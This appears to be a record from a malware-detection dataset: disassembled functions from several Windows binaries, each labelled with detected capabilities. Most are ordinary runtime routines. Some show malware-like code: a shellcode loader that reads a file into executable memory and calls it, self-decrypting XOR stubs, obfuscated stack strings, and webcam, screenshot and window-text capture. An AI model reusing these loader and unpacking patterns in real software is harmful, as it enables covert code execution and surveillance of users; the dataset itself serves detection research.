joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46e140
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x49fe44
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
push edi
mov dword [esp + 8], esi
mov dword [esi], method.CTreeCtrl.virtual_0
lea ecx, [esi + 0xf4]
mov dword [esp + 0x18], 5
call fcn.0048dbac
lea ecx, [esi + 0xe0]
mov byte [esp + 0x18], 4
mov dword [ecx], 0x713380
call fcn.00470ec0
lea ecx, [esi + 0xdc]
mov byte [esp + 0x18], 3
call fcn.0048f3f6
lea ecx, [esi + 0xd4]
mov dword [esp + 0xc], ecx
mov dword [ecx], method.CGdiObject.virtual_0
mov byte [esp + 0x18], 6
call fcn.00496284
lea ecx, [esi + 0xcc]
mov byte [esp + 0x18], 1
call fcn.0048dbac
lea edi, [esi + 0x3c]
mov dword [esp + 0xc], edi
lea ecx, [edi + 0x6c]
mov byte [esp + 0x18], 9
mov dword [ecx], 0x713380
call fcn.00470ec0
lea ecx, [edi + 0x58]
mov byte [esp + 0x18], 8
mov dword [ecx], 0x713380
call fcn.00470ec0
lea ecx, [edi + 0x44]
mov byte [esp + 0x18], 7
mov dword [ecx], 0x713380
call fcn.00470ec0
lea ecx, [edi + 0x30]
mov byte [esp + 0x18], 0
mov dword [ecx], 0x713380
call fcn.00470ec0
mov ecx, esi
mov dword [esp + 0x18], 0xffffffff
call fcn.0048d7ef
mov ecx, dword [esp + 0x10]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret

Function at 0x46ed40
Capabilities:
Capture webcam image

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
mov esi, ecx
mov eax, dword [eax + 4]
cmp dword [esi + 0xec], 1
jne 0x46ede3
test eax, eax
jbe 0x46ede3
mov ecx, dword [esi + 0xbc]
test ecx, ecx
jle 0x46ede3
mov ecx, dword [esi + 0x1c]
push edi
push 0
push eax
push 0x419
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
mov edi, eax
mov eax, dword [esi + 0xbc]
inc edi
test eax, eax
jne 0x46ed8e
xor esi, esi
jmp 0x46ed94
mov esi, dword [esi + 0xb4]
add esi, 4
xor ebx, ebx
test edi, edi
jbe 0x46edbf
push ebp
mov ebp, edi
add esi, 6
push esi
call fcn.0040cb80
add esi, eax
push esi
mov ebx, esi
call fcn.0040cb80
add esp, 8
add esi, eax
dec edi
dec ebp
jne 0x46eda0
pop ebp
test edi, edi
pop edi
jne 0x46ede3
test ebx, ebx
je 0x46ede3
mov edx, dword [esp + 0x10]
push 0x4e
add edx, 0x10
push ebx
push edx
call fcn.0047fc90
add esp, 0xc
mov eax, 1
pop esi
pop ebx
ret 0xc
pop esi
xor eax, eax
pop ebx
ret 0xc
Function at 0x46ef45
Capabilities:
Capture webcam image

Disassembly:
sub esp, 0x44
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x46f05d
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x46f05d
mov eax, dword [esi + 0x3c]
push eax
call fcn.00490f10
mov esi, eax
test esi, esi
je 0x46f05d
mov ebx, dword [esp + 0x58]
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push ebx
push 0x419
push ecx
call ebp
mov edi, eax
test edi, edi
jl 0x46f05d
mov ecx, esi
call fcn.0046eed0
cmp edi, eax
jge 0x46f05d
mov eax, dword [esi + 0xc4]
mov edx, dword [esi + 0xc0]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x5c]
xor ecx, ecx
mov dword [esp + 0x28], edx
cmp eax, ecx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x50], ecx
mov dword [esp + 0x38], edi
jne 0x46efe3
mov dword [esp + 0x34], 1
jmp 0x46f03e
mov edx, dword [esi + 0x1c]
lea ecx, [esp + 0x18]
push ecx
push ebx
push 0x433
push edx
call ebp
test eax, eax
je 0x46f05d
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x24]
mov dword [esp + 0x10], ecx
mov dword [eax], 0
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x10]
add edx, 2
push eax
push ecx
mov dword [esp + 0x1c], edx
call dword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x34], 3
mov dword [esp + 0x3c], edx
mov dword [esp + 0x40], eax
xor ecx, ecx
push ecx
lea ecx, [esp + 0x2c]
push ecx
push 0x7d8
call fcn.0046cc50
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x44
ret 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x44
ret 0xc
Function at 0x473420
Capabilities:
Capture screenshot

Disassembly:
sub esp, 0x10
lea eax, [esp]
push esi
mov esi, dword [esp + 0x18]
push eax
mov ecx, dword [esi]
push ecx
call dword [sym.imp.USER32.dll_GetWindowRect]
mov edx, dword [esi]
push edx
call dword [sym.imp.USER32.dll_GetWindowDC]
push eax
mov dword [esi + 4], eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 1
push eax
mov dword [esi + 8], eax
call dword [sym.imp.GDI32.dll_SetBkMode]
mov eax, dword [esi + 0x10]
test eax, eax
je 0x47346a
push eax
mov eax, dword [esi + 8]
mov dword [esi + 0x18], 0
push eax
jmp 0x473499
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 8]
mov edx, dword [esp + 0xc]
sub ecx, eax
mov eax, dword [esi + 4]
push ecx
mov ecx, dword [esp + 8]
mov dword [esi + 0x18], 1
sub edx, ecx
push edx
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov ecx, dword [esi + 8]
push eax
mov dword [esi + 0x10], eax
push ecx
call dword [sym.imp.GDI32.dll_SelectObject]
mov dword [esi + 0x14], eax
mov eax, dword [esi + 0xc]
cmp eax, 1
jne 0x4734db
mov edx, dword [esi + 4]
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0xc]
push 0xcc0020
push 0
push 0
push edx
mov edx, dword [esp + 0x18]
sub eax, edx
mov edx, dword [esp + 0x14]
sub ecx, edx
mov edx, dword [esi + 8]
push eax
push ecx
push 0
push 0
push edx
call dword [sym.imp.GDI32.dll_BitBlt]
mov eax, dword [esi + 8]
pop esi
add esp, 0x10
ret 4
Function at 0x4918b3
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4918eb
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0048f89d
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0048f875
jmp 0x4918f7
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x492fa5
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x492fe7
call fcn.00498c91
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x492fe7
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x492fde
xor eax, eax
jmp 0x492fef
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00492ff5
pop edi
pop esi
pop ebx
ret 4

Function at 0x4991c1
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4991ef
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x49920d
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00499127
jmp 0x49920d
mov eax, dword [esi + 0x14]
test eax, eax
je 0x49920d
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00499127
test edi, edi
mov eax, edi
jne 0x4991f7
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x402940
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xeacb20f3
mov byte [ebp - 0x38], 0xb2
mov byte [ebp - 0x37], 0xd9
mov byte [ebp - 0x36], 0xf9
mov byte [ebp - 0x35], 0x68
mov byte [ebp - 0x34], 0x40
mov byte [ebp - 0x33], 0xa
mov byte [ebp - 0x32], 0x36
mov byte [ebp - 0x31], 0xd0
mov byte [ebp - 0x30], 0xd9
mov byte [ebp - 0x2f], 0xb
mov byte [ebp - 0x2e], 0x1d
mov byte [ebp - 0x2d], 0x6e
mov byte [ebp - 0x2c], 0xd1
mov byte [ebp - 0x2b], 0x64
mov byte [ebp - 0x2a], 0x35
mov byte [ebp - 0x29], 7
mov byte [ebp - 0x28], 0x1f
mov byte [ebp - 0x27], 0x5b
mov byte [ebp - 0x26], 0xc5
mov byte [ebp - 0x25], 0x1a
mov byte [ebp - 0x24], 0x81
mov byte [ebp - 0x23], 0x2e
xor eax, eax
mov word [ebp - 0x22], ax
mov ecx, dword [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x60]
push eax
call fcn.00401a50
add esp, 0xc
mov ecx, 7
mov esi, eax
lea edi, [ebp - 0x20]
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x1c]
push ecx
mov ecx, dword [ebp + 8]
call fcn.00401d10
mov edx, dword [ebp - 0x40]
or edx, 1
mov dword [ebp - 0x40], edx
mov eax, dword [ebp + 8]
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040676f
mov esp, ebp
pop ebp
ret 4

Function at 0x403ce0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x403cf9
test al, 0x10
jne 0x403cf9
mov eax, 1
ret
xor eax, eax
ret

Function at 0x404ef0
Capabilities:
Get file size

Disassembly:
sub esp, 0x1c
push ebx
mov ebx, dword [esp + 0x2c]
xorps xmm0, xmm0
mov eax, ebx
movups xmmword [esp + 0xc], xmm0
sub eax, 0
je 0x404f17
sub eax, 1
jne 0x404fbd
mov eax, 0x80000000
jmp 0x404f1c
mov eax, 0xc0000000
push esi
mov esi, dword [esp + 0x2c]
push edi
push 0
push 0x80
push 3
push 0
push 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
mov dword [esp + 0x18], edi
cmp edi, 0xffffffff
jne 0x404f52
push esi
push str.ERROR:_Opening_file__S_n
call fcn.00405080
add esp, 8
jmp 0x404f9d
lea eax, [esp + 0xc]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
jne 0x404f91
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.ERROR:_GetFileSizeEx_failed___ld__n
call fcn.00405080
push esi
push str.ERROR:_Invalid_file_size__S_n
call fcn.00405080
push edi
call fcn.00403c20
add esp, 0x14
mov dword [esp + 0x18], 0xffffffff
jmp 0x404f9d
mov eax, dword [esp + 0xc]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], ebx
mov eax, dword [esp + 0x2c]
movups xmm0, xmmword [esp + 0x14]
movups xmmword [eax], xmm0
mov dword [eax + 0x10], 0
cmp dword [eax + 4], 0xffffffff
je 0x404fc4
pop edi
pop esi
pop ebx
add esp, 0x1c
ret
push 1
call fcn.0040bc08
push esi
push str.ERROR:_Couldnt_open_file:__S_n
call fcn.00405080
add esp, 8
push 1
call fcn.0040bc08
int3
Function at 0x406fc8
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x407007
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x407007
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x407007
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x407007
cmp dword [ecx + 0x74], 0xe
jbe 0x407007
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x40d84a
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41b95c
push 0x41b954
push str.FlsAlloc
push 0x1f
call fcn.0040d728
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40d87e
push dword [ebp + 8]
mov ecx, esi
call dword [0x419130]
call esi
jmp 0x40d884
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x40d8c8
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41b96c
push 0x41b964
push str.FlsGetValue
push 0x21
call fcn.0040d728
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40d8ff
push dword [ebp + 8]
mov ecx, esi
call dword [0x419130]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x40d907
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41b974
push 0x41b96c
push str.FlsSetValue
push 0x22
call fcn.0040d728
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40d941
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x419130]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x40f74c
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x40f797
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.0040f8e7
test al, al
jne 0x40f791
sub edx, 2
cmp edx, edi
jne 0x40f777
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x40f7b9
lea eax, [edi + 2]
cmp edx, eax
je 0x40f7b9
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.0040f698
add esp, 0x10
jmp 0x40f8b3
push esi
lea ecx, [ebp - 0x255]
call fcn.0040f8e7
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40f7fc
push dword [ebp - 0x25c]
jmp 0x40f7a9
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x40f839
cmp word [ebp - 0x226], 0
je 0x40f85a
cmp word [ebp - 0x226], ax
jne 0x40f839
cmp word [ebp - 0x224], 0
je 0x40f85a
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.0040f698
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x40f8a6
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x40f813
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x40f88e
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x40f8b3
push 0x40f4c8
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.00414aa0
add esp, 0x10
jmp 0x40f883
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040676f
leave
ret

Function at 0x4103ef
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x410400
pop esi
ret
push ebx
push edi
push esi
call fcn.004103b8
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.0040dff9
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x410428
push ebx
push esi
push edi
call fcn.004077a0
add esp, 0xc
push 0
call fcn.0040d5d5
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x4107f8
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041043d
Function at 0x417ed0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x417efd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x417efd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x104
mov edi, 0x10003030
push edi
push dword [0x10003020]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor eax, eax
mov word [0x10003036], ax
xor ebx, ebx
movzx ecx, word [eax + 0x10002040]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, bx
jne 0x1000117f
push 1
push ebx
push ebx
push edi
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x10003036], ax
movzx ecx, word [eax + str.desktop.ini]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, bx
jne 0x100011aa
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push edi
mov dword [0x10003018], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
push ebx
cmp eax, 0xffffffff
jne 0x100011fd
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x10003024
push esi
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
leave
ret 0x10

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x401c66
pop dword [ebp - 0x44]
mov eax, 0x401c66
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0xdc8bb6a3
add dword [ebp - 0x54], 0x71c68ea8
mov dword [ebp - 0x50], 0x3bc3dfbe
sub dword [ebp - 0x50], 0x9909379
mov dword [ebp - 0x4c], 0xbff4fe05
add dword [ebp - 0x4c], 0x8c574629
mov dword [ebp - 0x48], 0xe662272f
sub dword [ebp - 0x48], 0xe662272f
lea eax, [ebp - 0x54]
push eax
mov eax, 0x51c8e91a
sub eax, 0x5188b8c6
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0xd178cb43
sub dword [ebp - 0x54], 0x5d0661ed
mov dword [ebp - 0x50], 0x40a490c
add dword [ebp - 0x50], 0x3d621869
mov dword [ebp - 0x4c], 0xb1ce1fa3
add dword [ebp - 0x4c], 0xb1a14cc9
mov dword [ebp - 0x48], 0x6ec8f8ba
sub dword [ebp - 0x48], 0x6ec8f8ba
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0x17b436a8
add eax, 0xe88bf984
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x35752
push 0
call eax
mov ecx, 0x427ef691
add ecx, 0xbd814d57
mov edx, eax
mov esi, 0xcab6628f
sub esi, 0xca75f28f
add esi, dword [ebp - 0x44]
mov ebx, 0x8c3db69
sub ebx, 0x7cee9715
sub dword [ebp - 0x30], esi
mov edi, dword [esi]
sub dword [ebp - 0x34], ecx
add edi, ebx
add dword [ebp - 8], 0x9e1ff8f1
mov dword [edx], edi
xor dword [ebp - 0x3c], edi
add edx, 4
add esi, 4
loop 0x401d83
add eax, 0x10273
mov ebx, eax
add eax, 0xa38c4587
sub eax, 0xa38c4582
mov ecx, 0xcb37f9b4
add ecx, 0x3508064c
add ecx, dword [ebp - 0x44]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret
Function at 0x10001000
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
sub esp, 0x14
mov eax, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
mov dword [ebp - 0x18], eax
mov eax, dword [0x10064800]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x14], 0xb2e67fc3
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1c], eax
sub eax, 0xb2e67fc3
je 0x10001050
jmp 0x10001038
mov eax, dword [ebp - 0x1c]
sub eax, 0xdce28ee6
je 0x10001062
jmp 0x1000104b
jmp 0x1000109f
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], 0xdce28ee6
jmp 0x1000109f
xor ecx, ecx
xor edi, edi
mov ecx, dword [ebp + 0xc]
mov edi, dword [ebp - 0x10]
not byte [edi]
add byte [edi], 0x65
mov eax, 0
mov ebx, 0
add eax, ebx
xor eax, ebx
shl eax, 3
shr ebx, 2
nop
sub byte [edi], 0x88
imul byte [edi]
inc edi
loop 0x1000106c
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.10005770
add esp, 0x14
pop edi
pop ebx
pop ebp
ret
jmp 0x10001022
Function at 0x10008b43
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10008b82
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10008b82
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10008b82
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10008b82
cmp dword [ecx + 0x74], 0xe
jbe 0x10008b82
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x1000b7ff
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1000b89c
push ebx
push esi
call fcn.1000b7c8
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1000b75c
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1000b849
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000b89b
push edi
push eax
call fcn.1000c7ba
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1000b869
call fcn.1000a2a4
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000b89a
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1000b75c
add esp, 0x20
test eax, eax
jne 0x1000b888
push edi
call fcn.1000a2a4
jmp 0x1000b890
push ebx
call fcn.1000a2a4
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x1000bb09
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10013668
push 0x10013660
push str.FlsAlloc
push 0x1f
call fcn.1000ba25
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000bb3d
push dword [ebp + 8]
mov ecx, esi
call dword [0x10012140]
call esi
jmp 0x1000bb43
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x1000bb87
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10013678
push 0x10013670
push str.FlsGetValue
push 0x21
call fcn.1000ba25
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000bbbe
push dword [ebp + 8]
mov ecx, esi
call dword [0x10012140]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x1000bbc6
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10013680
push 0x10013678
push str.FlsSetValue
push 0x22
call fcn.1000ba25
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000bc00
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x10012140]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x10011280
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x100112ad
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x100112ad
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret